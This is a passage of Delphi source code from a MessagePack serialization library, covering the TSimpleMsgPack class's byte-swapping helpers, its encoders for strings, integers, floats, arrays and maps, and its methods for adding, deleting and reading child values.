SaveBinaryToStream(pvStream:TStream);\n\n    procedure LoadBinaryFromFile(pvFileName:String);\n    procedure SaveBinaryToFile(pvFileName:String);\n\n    procedure EncodeToStream(pvStream:TStream);\n    procedure EncodeToFile(pvFileName:string);\n\n\n    procedure DecodeFromStream(pvStream:TStream);\n    procedure DecodeFromFile(pvFileName:string);\n\n    function EncodeToBytes: TBytes;\n    procedure DecodeFromBytes(pvBytes:TBytes); \n\n    function Add(pvNameKey, pvValue: string): TSimpleMsgPack; overload;\n    function Add(pvNameKey: string; pvValue: Int64): TSimpleMsgPack; overload;\n    function Add(pvNameKey: string; pvValue: TBytes): TSimpleMsgPack; overload;\n    function Add(pvNameKey: String): TSimpleMsgPack; overload;\n    function Add():TSimpleMsgPack; overload;\n\n    /// <summary>\n    ///   添加一个子对象,并负责对象的生命周期\n    /// </summary>\n    function Add(pvNameKey: string; pvValue:TSimpleMsgPack): TSimpleMsgPack;\n        overload;\n\n    function AddArrayChild():TSimpleMsgPack; overload;\n\n    /// <summary>\n    ///   添加一个子对象,并负责对象的生命周期\n    /// </summary>\n    function AddArrayChild(pvValue:TSimpleMsgPack): TSimpleMsgPack; overload;\n\n\n\n    function ForcePathObject(pvPath:string): TSimpleMsgPack;\n\n    /// <summary>\n    ///  移除并释放对象\n    /// </summary>\n    /// <param name=\"pvPath\">要移除的对象路径, 比如: 'p1.age' </param>\n    /// <returns>如果移除成功返回true, 否则返回false(对象不存在)</returns>\n    function DeleteObject(pvPath:String):Boolean;\n\n    /// <summary>\n    ///   根据索引值删除并释放对象\n    /// </summary>\n    /// <param name=\"pvIndex\">子对象的索引值</param>\n    /// <returns>如果移除成功返回true, 否则返回false(超出索引范围)</returns>\n    function Delete(pvIndex:Integer):Boolean;\n    \n    /// <summary>\n    ///  移除子对象,并不释放子对象\n    /// </summary>\n    /// <param name=\"pvPath\">要移除的对象路径, 比如: 'p1.age' </param>\n    /// <returns>如果移除成功返回移除的子对象, 否则返回nil(对象不存在)</returns>\n    function Remove(pvPath:string): TSimpleMsgPack; overload;\n\n    /// <summary>\n    ///  移除子对象,并不释放子对象\n    /// </summary>\n    /// <param name=\"pvIndex\">子对象的索引值</param>\n    /// <returns>如果移除成功返回移除的子对象, 否则返回nil(索引超出范围)</returns>\n    function Remove(pvIndex:Integer): TSimpleMsgPack; overload;\n\n    /// <summary>\n    ///  移除子对象,并不释放子对象\n    /// </summary>\n    /// <param name=\"pvChild\">要移除的对象</param>\n    /// <returns>如果移除成功返回true, 否则返回false(对象不是该子对象)</returns>\n    function Remove(pvChild:TSimpleMsgPack): Boolean; overload;\n\n\n\n    /// <summary>\n    ///   从父对象中移除\n    /// </summary>\n    procedure RemoveFromParent();\n\n    property AsInteger:Int64 read getAsInteger write setAsInteger;\n    property AsString:string read getAsString write setAsString;\n    property AsBoolean: Boolean read GetAsBoolean write SetAsBoolean;\n    property AsFloat: Double read GetAsFloat write SetAsFloat;\n    property AsSingle: Single read GetAsSingle write SetAsSingle;\n    property AsDateTime: TDateTime read GetAsDateTime write SetAsDateTime;\n    property AsVariant: Variant read GetAsVariant write SetAsVariant;\n\n    property AsBytes: TBytes read GetAsBytes write SetAsBytes;\n\n    property O[pvPath: String]: TSimpleMsgPack read GetO write SetO;\n    property S[pvPath: String]: string read GetS write SetS;\n    property I[pvPath: String]: Int64 read GetI write SetI;\n    property B[pvPath: String]: Boolean read GetB write SetB;\n    property D[pvPath: String]: Double read GetD write SetD;\n\n    property Items[AIndex: Integer]: TSimpleMsgPack read GetItems; default;\n  end;\n\nimplementation\n\nresourcestring\n  SVariantConvertNotSupport = 'type to convert not support!。';\n  SCannotAddChild = 'Can''t add child in this node!';\n\n\nfunction swap16(const v): Word;\nbegin\n  // FF, EE : EE->1, FF->2\n  PByte(@result)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@result) + 1)^ := PByte(@v)^;\nend;\n\nfunction swap32(const v): Cardinal;\nbegin\n  // FF, EE, DD, CC : CC->1, DD->2, EE->3, FF->4\n  PByte(@result)^ := PByte(IntPtr(@v) + 3)^;\n  PByte(IntPtr(@result) + 1)^ := PByte(IntPtr(@v) + 2)^;\n  PByte(IntPtr(@result) + 2)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@result) + 3)^ := PByte(@v)^;\nend;\n\nfunction swap64(const v): Int64;\nbegin\n  // FF, EE, DD, CC, BB, AA, 99, 88 : 88->1 ,99->2 ....\n  PByte(@result)^ := PByte(IntPtr(@v) + 7)^;\n  PByte(IntPtr(@result) + 1)^ := PByte(IntPtr(@v) + 6)^;\n  PByte(IntPtr(@result) + 2)^ := PByte(IntPtr(@v) + 5)^;\n  PByte(IntPtr(@result) + 3)^ := PByte(IntPtr(@v) + 4)^;\n  PByte(IntPtr(@result) + 4)^ := PByte(IntPtr(@v) + 3)^;\n  PByte(IntPtr(@result) + 5)^ := PByte(IntPtr(@v) + 2)^;\n  PByte(IntPtr(@result) + 6)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@result) + 7)^ := PByte(@v)^;\nend;\n\n// v and outVal is can't the same value\nprocedure swap64Ex(const v; out outVal);\nbegin\n  // FF, EE, DD, CC, BB, AA, 99, 88 : 88->1 ,99->2 ....\n  PByte(@outVal)^ := PByte(IntPtr(@v) + 7)^;\n  PByte(IntPtr(@outVal) + 1)^ := PByte(IntPtr(@v) + 6)^;\n  PByte(IntPtr(@outVal) + 2)^ := PByte(IntPtr(@v) + 5)^;\n  PByte(IntPtr(@outVal) + 3)^ := PByte(IntPtr(@v) + 4)^;\n  PByte(IntPtr(@outVal) + 4)^ := PByte(IntPtr(@v) + 3)^;\n  PByte(IntPtr(@outVal) + 5)^ := PByte(IntPtr(@v) + 2)^;\n  PByte(IntPtr(@outVal) + 6)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@outVal) + 7)^ := PByte(@v)^;\nend;\n\n// v and outVal is can't the same value\nprocedure swap32Ex(const v; out outVal);\nbegin\n  // FF, EE, DD, CC : CC->1, DD->2, EE->3, FF->4\n  PByte(@outVal)^ := PByte(IntPtr(@v) + 3)^;\n  PByte(IntPtr(@outVal) + 1)^ := PByte(IntPtr(@v) + 2)^;\n  PByte(IntPtr(@outVal) + 2)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@outVal) + 3)^ := PByte(@v)^;\nend;\n\n// v and outVal is can't the same value\nprocedure swap16Ex(const v; out outVal);\nbegin\n  // FF, EE : EE->1, FF->2\n  PByte(@outVal)^ := PByte(IntPtr(@v) + 1)^;\n  PByte(IntPtr(@outVal) + 1)^ := PByte(@v)^;\nend;\n\n// overload swap, result type is integer, because single maybe NaN\nfunction swap(v:Single): Integer; overload;\nbegin\n  swap32Ex(v, Result);\nend;\n\n// overload swap\nfunction swap(v:word): Word; overload;\nbegin\n  swap16Ex(v, Result);\nend;\n\n// overload swap\nfunction swap(v:Cardinal):Cardinal; overload;\nbegin\n  swap32Ex(v, Result);\nend;\n\n// swap , result type is Int64, because Double maybe NaN\nfunction swap(v:Double): Int64; overload;\nbegin\n  swap64Ex(v, Result);\nend;\n\n\n// copy from qstring\nfunction BinToHex(p: Pointer; l: Integer; ALowerCase: Boolean): string;\nconst\n  B2HConvert: array [0 .. 15] of Char = ('0', '1', '2', '3', '4', '5', '6',\n    '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F');\n  B2HConvertL: array [0 .. 15] of Char = ('0', '1', '2', '3', '4', '5', '6',\n    '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');\nvar\n  pd: PChar;\n  pb: PByte;\nbegin\n  if SizeOf(Char) = 2 then\n  begin\n    SetLength(Result, l shl 1);\n  end else\n  begin\n    SetLength(Result, l);\n  end;\n  pd := PChar(Result);\n  pb := p;\n  if ALowerCase then\n  begin\n    while l > 0 do\n    begin\n      pd^ := B2HConvertL[pb^ shr 4];\n      Inc(pd);\n      pd^ := B2HConvertL[pb^ and $0F];\n      Inc(pd);\n      Inc(pb);\n      Dec(l);\n    end;\n  end\n  else\n  begin\n    while l > 0 do\n    begin\n      pd^ := B2HConvert[pb^ shr 4];\n      Inc(pd);\n      pd^ := B2HConvert[pb^ and $0F];\n      Inc(pd);\n      Inc(pb);\n      Dec(l);\n    end;\n  end;\nend;\n\n\n\nfunction getFirst(var strPtr: PChar; splitChars: TSysCharSet): string;\nvar\n  oPtr:PChar;\n  l:Cardinal;\nbegin\n  oPtr := strPtr;\n  Result := '';\n  while True do\n  begin\n    if (strPtr^ in splitChars) then\n    begin\n      l := strPtr - oPtr;\n      if l > 0 then\n      begin\n      {$IFDEF UNICODE}\n        SetLength(Result, l);\n        Move(oPtr^, PChar(Result)^, l shl 1);\n      {$ELSE}\n        SetLength(Result, l);\n        Move(oPtr^, PChar(Result)^, l);\n      {$ENDIF}\n        break;\n      end;\n    end else if (strPtr^ = #0) then\n    begin\n      l := strPtr - oPtr;\n      if l > 0 then\n      begin\n      {$IFDEF UNICODE}\n        SetLength(Result, l);\n        Move(oPtr^, PChar(Result)^, l shl 1);\n      {$ELSE}\n        SetLength(Result, l);\n        Move(oPtr^, PChar(Result)^, l);\n      {$ENDIF}\n      end;\n      break;\n    end;\n    Inc(strPtr);\n  end;\nend;\n\n\nfunction Utf8DecodeEx(pvValue:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF}; len:Cardinal):string;\n{$IFDEF UNICODE}\nvar             \n  lvBytes:TBytes;\n{$ENDIF}\nbegin\n{$IFDEF UNICODE}\n  lvBytes := TEncoding.Convert(TEncoding.UTF8, TEncoding.Unicode, pvValue);\n  SetLength(Result, Length(lvBytes) shr 1);\n  Move(lvBytes[0], PChar(Result)^, Length(lvBytes));\n{$ELSE}\n  result:= UTF8Decode(pvValue);\n{$ENDIF}\nend;\n\nfunction Utf8EncodeEx(pvValue:string):{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};\n{$IFDEF UNICODE}\nvar\n  lvBytes:TBytes;\n  len:Cardinal;\n{$ENDIF}\nbegin\n{$IFDEF UNICODE}\n  len := length(pvValue) shl 1;\n  SetLength(lvBytes, len);\n  Move(PChar(pvValue)^, lvBytes[0], len);\n  Result := TEncoding.Convert(TEncoding.Unicode, TEncoding.UTF8, lvBytes);\n{$ELSE}\n  result:= UTF8Encode(pvValue);\n{$ENDIF}\nend;\n\n\n// copy from qmsgPack\nprocedure writeString(pvValue: string; pvStream: TStream);\nvar\n\n  lvRawData:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};\n  l:Integer;\n  lvValue:TMsgPackValue;\nbegin\n  lvRawData := Utf8EncodeEx(pvValue);\n  l:=Length(lvRawData);\n\n  //\n  //fixstr stores a byte array whose length is upto 31 bytes:\n  //+--------+========+\n  //|101XXXXX|  data  |\n  //+--------+========+\n  //\n  //str 8 stores a byte array whose length is upto (2^8)-1 bytes:\n  //+--------+--------+========+\n  //|  0xd9  |YYYYYYYY|  data  |\n  //+--------+--------+========+\n  //\n  //str 16 stores a byte array whose length is upto (2^16)-1 bytes:\n  //+--------+--------+--------+========+\n  //|  0xda  |ZZZZZZZZ|ZZZZZZZZ|  data  |\n  //+--------+--------+--------+========+\n  //\n  //str 32 stores a byte array whose length is upto (2^32)-1 bytes:\n  //+--------+--------+--------+--------+--------+========+\n  //|  0xdb  |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA|  data  |\n  //+--------+--------+--------+--------+--------+========+\n  //\n  //where\n  //* XXXXX is a 5-bit unsigned integer which represents N\n  //* YYYYYYYY is a 8-bit unsigned integer which represents N\n  //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N\n  //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N\n  //* N is the length of data\n\n  if L<=31 then\n  begin\n    lvValue.ValueType:=$A0+Byte(L);\n    pvStream.WriteBuffer(lvValue.ValueType,1);\n  end\n  else if L<=255 then\n  begin\n    lvValue.ValueType:=$d9;\n    lvValue.U8Val:=Byte(L);\n    pvStream.WriteBuffer(lvValue,2);\n  end\n  else if L<=65535 then\n  begin\n    lvValue.ValueType:=$da;\n    lvValue.U16Val:=((L shr 8) and $FF) or ((L shl 8) and $FF00);\n    pvStream.Write(lvValue,3);\n  end else\n  begin\n    lvValue.ValueType:=$db;\n    lvValue.BArray[0]:=(L shr 24) and $FF;\n    lvValue.BArray[1]:=(L shr 16) and $FF;\n    lvValue.BArray[2]:=(L shr 8) and $FF;\n    lvValue.BArray[3]:=L and $FF;\n    pvStream.WriteBuffer(lvValue,5);\n  end;\n\n  {$IFDEF UNICODE}\n  pvStream.Write(PByte(@lvRawData[0])^, l);\n  {$ELSE}\n  pvStream.Write(PByte(lvRawData)^, l);\n  {$ENDIF};\nend;\n\nprocedure WriteBinary(p: PByte; l: Integer; pvStream: TStream);\nvar\n  lvValue:TMsgPackValue;\nbegin\n  if l <= 255 then\n  begin\n    lvValue.ValueType := $C4;\n    lvValue.U8Val := Byte(l);\n    pvStream.WriteBuffer(lvValue, 2);\n  end\n  else if l <= 65535 then\n  begin\n    lvValue.ValueType := $C5;\n    lvValue.BArray[0] := (l shr 8) and $FF;\n    lvValue.BArray[1] := l and $FF;\n    pvStream.WriteBuffer(lvValue, 3);\n  end\n  else\n  begin\n    lvValue.ValueType := $C6;\n    lvValue.BArray[0] := (l shr 24) and $FF;\n    lvValue.BArray[1] := (l shr 16) and $FF;\n    lvValue.BArray[2] := (l shr 8) and $FF;\n    lvValue.BArray[3] := l and $FF;\n    pvStream.WriteBuffer(lvValue, 5);\n  end;\n  pvStream.WriteBuffer(p^, l);\nend;\n\n// copy from qmsgPack\nprocedure WriteInt(const iVal: Int64; AStream: TStream);\nvar\n  lvValue:TMsgPackValue;\nbegin\n  if iVal>=0 then\n    begin\n    if iVal<=127 then\n      begin\n      lvValue.U8Val:=Byte(iVal);\n      AStream.WriteBuffer(lvValue.U8Val,1);\n      end\n    else if iVal<=255 then//UInt8\n      begin\n      lvValue.ValueType:=$cc;\n      lvValue.U8Val:=Byte(iVal);\n      AStream.WriteBuffer(lvValue,2);\n      end\n    else if iVal<=65535 then\n      begin\n      lvValue.ValueType:=$cd;\n      lvValue.BArray[0]:=(iVal shr 8);\n      lvValue.BArray[1]:=(iVal and $FF);\n      AStream.WriteBuffer(lvValue,3);\n      end\n    else if iVal<=Cardinal($FFFFFFFF) then\n      begin\n      lvValue.ValueType:=$ce;\n      lvValue.BArray[0]:=(iVal shr 24) and $FF;\n      lvValue.BArray[1]:=(iVal shr 16) and $FF;\n      lvValue.BArray[2]:=(iVal shr 8) and $FF;\n      lvValue.BArray[3]:=iVal and $FF;\n      AStream.WriteBuffer(lvValue,5);\n      end\n    else\n      begin\n      lvValue.ValueType:=$cf;\n      lvValue.BArray[0]:=(iVal shr 56) and $FF;\n      lvValue.BArray[1]:=(iVal shr 48) and $FF;\n      lvValue.BArray[2]:=(iVal shr 40) and $FF;\n      lvValue.BArray[3]:=(iVal shr 32) and $FF;\n      lvValue.BArray[4]:=(iVal shr 24) and $FF;\n      lvValue.BArray[5]:=(iVal shr 16) and $FF;\n      lvValue.BArray[6]:=(iVal shr 8) and $FF;\n      lvValue.BArray[7]:=iVal and $FF;\n      AStream.WriteBuffer(lvValue,9);\n      end;\n    end\n  else//<0\n    begin\n    if iVal<=Low(Integer) then  //-2147483648  // 64 bit\n    begin\n      lvValue.ValueType:=$d3;\n      lvValue.BArray[0]:=(iVal shr 56) and $FF;\n      lvValue.BArray[1]:=(iVal shr 48) and $FF;\n      lvValue.BArray[2]:=(iVal shr 40) and $FF;\n      lvValue.BArray[3]:=(iVal shr 32) and $FF;\n      lvValue.BArray[4]:=(iVal shr 24) and $FF;\n      lvValue.BArray[5]:=(iVal shr 16) and $FF;\n      lvValue.BArray[6]:=(iVal shr 8) and $FF;\n      lvValue.BArray[7]:=iVal and $FF;\n      AStream.WriteBuffer(lvValue,9);\n    end\n    else if iVal<=Low(SmallInt) then     // -32768    // 32 bit\n      begin\n      lvValue.ValueType:=$d2;\n      lvValue.BArray[0]:=(iVal shr 24) and $FF;\n      lvValue.BArray[1]:=(iVal shr 16) and $FF;\n      lvValue.BArray[2]:=(iVal shr 8) and $FF;\n      lvValue.BArray[3]:=iVal and $FF;\n      AStream.WriteBuffer(lvValue,5);\n      end\n    else if iVal<=-128 then\n      begin\n      lvValue.ValueType:=$d1;\n      lvValue.BArray[0]:=(iVal shr 8);\n      lvValue.BArray[1]:=(iVal and $FF);\n      AStream.WriteBuffer(lvValue,3);\n      end\n    else if iVal<-32 then\n      begin\n      lvValue.ValueType:=$d0;\n      lvValue.I8Val:=iVal;\n      AStream.WriteBuffer(lvValue,2);\n      end\n    else\n      begin\n      lvValue.I8Val:=iVal;\n      AStream.Write(lvValue.I8Val,1);\n      end;\n    end;//End <0\nend;\n\nprocedure WriteFloat(pvVal: Double; AStream: TStream);\nvar\n  lvValue:TMsgPackValue;\nbegin\n  \n\n  \n  lvValue.i64Val := swap(pvVal);\n  lvValue.ValueType := $CB;\n  AStream.WriteBuffer(lvValue, 9);\nend;\n\nprocedure WriteSingle(pvVal: Single; AStream: TStream);\nvar\n  lvValue:TMsgPackValue;\nbegin\n  lvValue.I32Val := swap(pvVal);\n  lvValue.ValueType := $CA;\n  AStream.WriteBuffer(lvValue, 5);\nend;\n\nprocedure WriteNull(pvStream:TStream);\nvar\n  lvByte:Byte;\nbegin\n  lvByte := $C0;\n  pvStream.Write(lvByte, 1);\nend;\n\nprocedure WriteBoolean(pvValue:Boolean; pvStream:TStream);\nvar\n  lvByte:Byte;\nbegin\n  if pvValue then lvByte := $C3 else lvByte := $C2;\n  pvStream.Write(lvByte, 1);\nend;\n\n\n/// <summary>\n///  copy from qmsgpack\n/// </summary>\nprocedure writeArray(obj:TSimpleMsgPack; pvStream:TStream);\nvar\n  c, i:Integer;\n  lvValue:TMsgPackValue;\n  lvNode:TSimpleMsgPack;\nbegin\n  C:=obj.Count;\n\n  if C <= 15 then\n  begin\n    lvValue.ValueType := $90 + C;\n    pvStream.WriteBuffer(lvValue.ValueType, 1);\n  end\n  else if C <= 65535 then\n  begin\n    lvValue.ValueType := $DC;\n    lvValue.BArray[0] := (C shr 8) and $FF;\n    lvValue.BArray[1] := C and $FF;\n    pvStream.WriteBuffer(lvValue, 3);\n  end\n  else\n  begin\n    lvValue.ValueType := $DD;\n    lvValue.BArray[0] := (C shr 24) and $FF;\n    lvValue.BArray[1] := (C shr 16) and $FF;\n    lvValue.BArray[2] := (C shr 8) and $FF;\n    lvValue.BArray[3] := C and $FF;\n    pvStream.WriteBuffer(lvValue, 5);\n  end;\n\n  for I := 0 to C-1 do\n  begin\n    lvNode:=TSimpleMsgPack(obj.FChildren[I]);\n    lvNode.InnerEncodeToStream(pvStream);\n  end;\nend;\n\nprocedure writeMap(obj:TSimpleMsgPack; pvStream:TStream);\nvar\n  c, i:Integer;\n  lvValue:TMsgPackValue;\n  lvNode:TSimpleMsgPack;\nbegin\n  C:=obj.Count;\n  if C<=15 then\n  begin\n    lvValue.ValueType:=$80+C;\n    pvStream.WriteBuffer(lvValue.ValueType,1);\n  end\n  else if C<=65535 then\n  begin\n    lvValue.ValueType:=$de;\n    lvValue.BArray[0]:=(C shr 8) and $FF;\n    lvValue.BArray[1]:=C and $FF;\n    pvStream.WriteBuffer(lvValue,3);\n  end\n  else\n  begin\n    lvValue.ValueType:=$df;\n    lvValue.BArray[0]:=(C shr 24) and $FF;\n    lvValue.BArray[1]:=(C shr 16) and $FF;\n    lvValue.BArray[2]:=(C shr 8) and $FF;\n    lvValue.BArray[3]:=C and $FF;\n    pvStream.WriteBuffer(lvValue,5);\n  end;\n  for I := 0 to C-1 do\n  begin\n    lvNode:=TSimpleMsgPack(obj.FChildren[I]);\n    writeString(lvNode.FName, pvStream);\n    lvNode.InnerEncodeToStream(pvStream);\n  end;\nend;\n\nfunction EncodeDateTime(pvVal: TDateTime): string;\nvar\n  AValue: TDateTime;\nbegin\n  AValue := pvVal;\n  if AValue - Trunc(AValue) = 0 then // Date\n    Result := FormatDateTime('yyyy-MM-dd', AValue)\n  else\n  begin\n    if Trunc(AValue) = 0 then\n      Result := FormatDateTime('hh:nn:ss.zzz', AValue)\n    else\n      Result := FormatDateTime('yyyy-mm-dd hh:nn:ss.zzz', AValue);\n  end;\nend;\n\n\nconstructor TSimpleMsgPack.Create;\nbegin\n  inherited Create;\n  {$IFDEF UNICODE}\n    FChildren := TList<TSimpleMsgPack>.Create();\n  {$ELSE}\n    FChildren := TList.Create();\n  {$ENDIF}\n\nend;\n\nprocedure TSimpleMsgPack.DecodeFromBytes(pvBytes: TBytes);\nvar\n  lvStream:TStream;\nbegin\n  lvStream := TMemoryStream.Create;\n  try\n    lvStream.Write(pvBytes[0], Length(pvBytes));\n    lvStream.Position := 0;\n    DecodeFromStream(lvStream);\n  finally\n    lvStream.Free;\n  end;\n\nend;\n\nprocedure TSimpleMsgPack.DecodeFromFile(pvFileName: string);\nvar\n  lvFileStream:TFileStream;\nbegin\n  if FileExists(pvFileName) then\n  begin\n    lvFileStream := TFileStream.Create(pvFileName, fmOpenRead);\n    try\n      DecodeFromStream(lvFileStream);\n    finally\n      lvFileStream.Free;\n    end;\n  end;\nend;\n\nprocedure TSimpleMsgPack.DecodeFromStream(pvStream: TStream);\nbegin\n  InnerParseFromStream(pvStream);\nend;\n\nfunction TSimpleMsgPack.Delete(pvIndex: Integer): Boolean;\nbegin\n  if (pvIndex < 0) or (pvIndex >= Count) then\n  begin\n    Result := false;\n  end else\n  begin\n    TObject(FChildren[pvIndex]).Free;\n    FChildren.Delete(pvIndex);\n    Result := True;\n  end;  \nend;\n\nfunction TSimpleMsgPack.DeleteObject(pvPath: String): Boolean;\nvar\n  lvParent, lvObj:TSimpleMsgPack;\n  j:Integer;\nbegin\n  lvObj := InnerFindPathObject(pvPath, lvParent, j);\n  Result := lvObj <> nil;\n  if Result then\n  begin\n    lvParent.FChildren.Delete(j);\n    lvObj.Free;\n  end;\nend;\n\ndestructor TSimpleMsgPack.Destroy;\nbegin\n  ClearAndFreeAllChildren;\n  FChildren.Free;\n  FChildren := nil;\n  inherited Destroy;\nend;\n\nfunction TSimpleMsgPack.Add(pvNameKey, pvValue: string): TSimpleMsgPack;\nbegin\n  Result := InnerAdd(mptMap);\n  Result.setName(pvNameKey);\n  Result.AsString := pvValue;\nend;\n\nfunction TSimpleMsgPack.Add(pvNameKey: string; pvValue: Int64): TSimpleMsgPack;\nbegin\n  Result := InnerAdd(mptMap);\n  Result.setName(pvNameKey);\n  Result.AsInteger := pvValue;\nend;\n\n\nfunction TSimpleMsgPack.Add: TSimpleMsgPack;\nbegin\n  Result := InnerAdd(mptMap);\nend;\n\nfunction TSimpleMsgPack.AddArrayChild: TSimpleMsgPack;\nbegin\n  if FDataType <> mptArray then\n  begin\n    Clear();\n    FDataType := mptArray;\n  end;\n  Result := InnerAdd;\nend;\n\nfunction TSimpleMsgPack.Add(pvNameKey: string; pvValue: TBytes): TSimpleMsgPack;\nbegin\n  Result := InnerAdd(mptMap);\n  Result.setName(pvNameKey);\n  Result.FDataType := mptBinary;\n  Result.FValue := pvValue;\nend;\n\nfunction TSimpleMsgPack.Add(pvNameKey:String): TSimpleMsgPack;\nbegin\n  Result := InnerAdd(mptMap);\n  Result.setName(pvNameKey);\nend;\n\nfunction TSimpleMsgPack.Add(pvNameKey: string; pvValue:TSimpleMsgPack):\n    TSimpleMsgPack;\nbegin\n  InnerAddToChildren(mptMap, pvValue);\n  pvValue.FName := pvNameKey;\n  Result := pvValue;\nend;\n\nfunction TSimpleMsgPack.AddArrayChild(pvValue:TSimpleMsgPack): TSimpleMsgPack;\nbegin\n  InnerAddToChildren(mptArray, pvValue);\n  Result := pvValue;\nend;\n\nprocedure TSimpleMsgPack.checkObjectDataType(ANewType: TMsgPackType);\nbegin\n  if (FDataType <> ANewType) then\n  begin\n    FDataType := ANewType;\n  end;\nend;\n\nprocedure TSimpleMsgPack.Clear;\nbegin\n  ClearAndFreeAllChildren;\n  FDataType := mptNull;\n  SetLength(FValue, 0);\nend;\n\nfunction TSimpleMsgPack.EncodeToBytes: TBytes;\nvar\n  lvStream:TStream;\nbegin\n  lvStream := TMemoryStream.Create;\n  try\n    EncodeToStream(lvStream);\n    lvStream.Position := 0;\n    SetLength(Result, lvStream.size);\n    lvStream.Read(Result[0], lvStream.Size);\n  finally\n    lvStream.Free;\n  end;\nend;\n\nprocedure TSimpleMsgPack.EncodeToFile(pvFileName: string);\nvar\n  lvFileStream:TFileStream;\nbegin\n  if FileExists(pvFileName) then\n    lvFileStream := TFileStream.Create(pvFileName, fmOpenWrite)\n  else\n    lvFileStream := TFileStream.Create(pvFileName, fmCreate);\n  try\n    lvFileStream.Size := 0;\n    EncodeToStream(lvFileStream);\n  finally\n    lvFileStream.Free;\n  end;\nend;\n\nprocedure TSimpleMsgPack.EncodeToStream(pvStream: TStream);\nbegin\n  InnerEncodeToStream(pvStream);\nend;\n\nfunction TSimpleMsgPack.findObj(pvName:string): TSimpleMsgPack;\nvar\n  i:Integer;\nbegin\n  i := indexOfCaseSensitive(pvName);\n  if i <> -1 then\n  begin\n    Result := TSimpleMsgPack(FChildren[i]);\n  end else\n  begin\n    Result := nil;\n  end;\nend;\n\nfunction TSimpleMsgPack.ForcePathObject(pvPath:string): TSimpleMsgPack;\nvar\n  lvName:string;\n  s:string;\n  sPtr:PChar;\n  lvTempObj, lvParent:TSimpleMsgPack;\n  j:Integer;\nbegin\n  Result := nil;\n  s := pvPath;\n\n  lvParent := Self;\n  sPtr := PChar(s);\n  while sPtr^ <> #0 do\n  begin\n    lvName := getFirst(sPtr, ['.', '/','\\']);\n    if lvName = '' then\n    begin\n      Break;\n    end else\n    begin\n      if sPtr^ = #0 then\n      begin           // end\n        j := lvParent.indexOf(lvName);\n        if j <> -1 then\n        begin\n          Result := TSimpleMsgPack(lvParent.FChildren[j]);\n        end else\n        begin\n          Result := lvParent.Add(lvName);\n        end;\n      end else\n      begin\n        // find childrean\n        lvTempObj := lvParent.findObj(lvName);\n        if lvTempObj = nil then\n        begin\n          lvParent := lvParent.Add(lvName);\n        end else\n        begin\n          lvParent := lvTempObj;\n        end;\n      end;\n    end;\n    if sPtr^ = #0 then Break;\n    Inc(sPtr);\n  end;\nend;\n\nprocedure TSimpleMsgPack.ClearAndFreeAllChildren;\nvar\n  i:Integer;\nbegin\n  for i := 0 to FChildren.Count - 1 do\n  begin\n    TObject(FChildren[i]).Free;  \n  end;\n  FChildren.Clear;\nend;\n\nfunction TSimpleMsgPack.GetAsBoolean: Boolean;\nbegin\n  if FDataType = mptBoolean then\n    Result := PBoolean(FValue)^\n  else if FDataType = mptString then\n    Result := StrToBoolDef(AsString, False)\n  else if FDataType = mptInteger then\n    Result := (AsInteger <> 0)\n  else if FDataType in [mptNull, mptUnknown] then\n    Result := False\n  else\n    Result := False;\n\nend;\n\nfunction TSimpleMsgPack.GetAsBytes: TBytes;\nbegin\n  Result := FValue;\nend;\n\nfunction TSimpleMsgPack.GetAsDateTime: TDateTime;\nbegin\n  if FDataType in [mptDateTime, mptFloat] then\n    Result := PDouble(FValue)^\n  else if FDataType = mptSingle then\n    Result := PSingle(FValue)^\n  else if FDataType = mptString then\n  begin\n    Result := StrToDateTimeDef(GetAsString, 0);\n  end\n  else if FDataType in [mptInteger] then\n    Result := AsInteger\n  else\n    Result := 0;\nend;\n\nfunction TSimpleMsgPack.GetAsFloat: Double;\nbegin\n  if FDataType in [mptFloat, mptDateTime] then\n    Result := PDouble(FValue)^\n  else if FDataType = mptSingle then\n    Result := PSingle(FValue)^\n  else if FDataType = mptBoolean then\n    Result := Integer(AsBoolean)\n  else if FDataType = mptString then\n    Result := StrToFloatDef(AsString, 0)\n  else if FDataType = mptInteger then\n    Result := AsInteger\n  else\n    Result := 0;\nend;\n\nfunction TSimpleMsgPack.getAsInteger: Int64;\nbegin\n  case FDataType of\n    mptInteger: Result:=PInt64(FValue)^;\n  else\n    Result := 0;\n  end;\nend;\n\nfunction TSimpleMsgPack.GetAsSingle: Single;\nbegin\n  if FDataType in [mptFloat, mptDateTime] then\n    Result := PDouble(FValue)^\n  else if FDataType = mptSingle then\n    Result := PSingle(FValue)^\n  else if FDataType = mptBoolean then\n    Result := Integer(AsBoolean)\n  else if FDataType = mptString then\n    Result := StrToFloatDef(AsString, 0)\n  else if FDataType = mptInteger then\n    Result := AsInteger\n  else\n    Result := 0;\nend;\n\nfunction TSimpleMsgPack.getAsString: String;\nvar\n  l:Cardinal;\nbegin\n  Result := '';\n  if FDataType = mptString then\n  begin\n    l := Length(FValue);\n    if l = 0 then\n    begin\n      Result := '';\n    end else if SizeOf(Char) = 2 then\n    begin\n      SetLength(Result, l shr 1);\n      Move(FValue[0],PChar(Result)^, l);\n    end else\n    begin\n      SetLength(Result, l);\n      Move(FValue[0],PChar(Result)^, l);\n    end;\n  end else\n  begin\n    case FDataType of\n      mptUnknown, mptNull:\n        Result := '';\n      mptInteger:\n        Result := IntToStr(AsInteger);\n      mptBoolean:\n        Result := BoolToStr(AsBoolean, True);\n      mptFloat:\n        Result := FloatToStrF(AsFloat, ffGeneral, 15, 0);\n      mptSingle:\n        Result := FloatToStrF(AsSingle, ffGeneral, 7, 0);\n      mptBinary:\n        Result := BinToHex(@FValue[0], Length(FValue), False);\n      mptDateTime:\n        Result := EncodeDateTime(AsDateTime);\n//      mptArray:\n//        Result := EncodeArray;\n//      mptMap:\n//        Result := EncodeMap;\n//      mptExtended:\n//        Result := EncodeExtended;\n    else\n       Result := '';\n    end;\n  end;\n  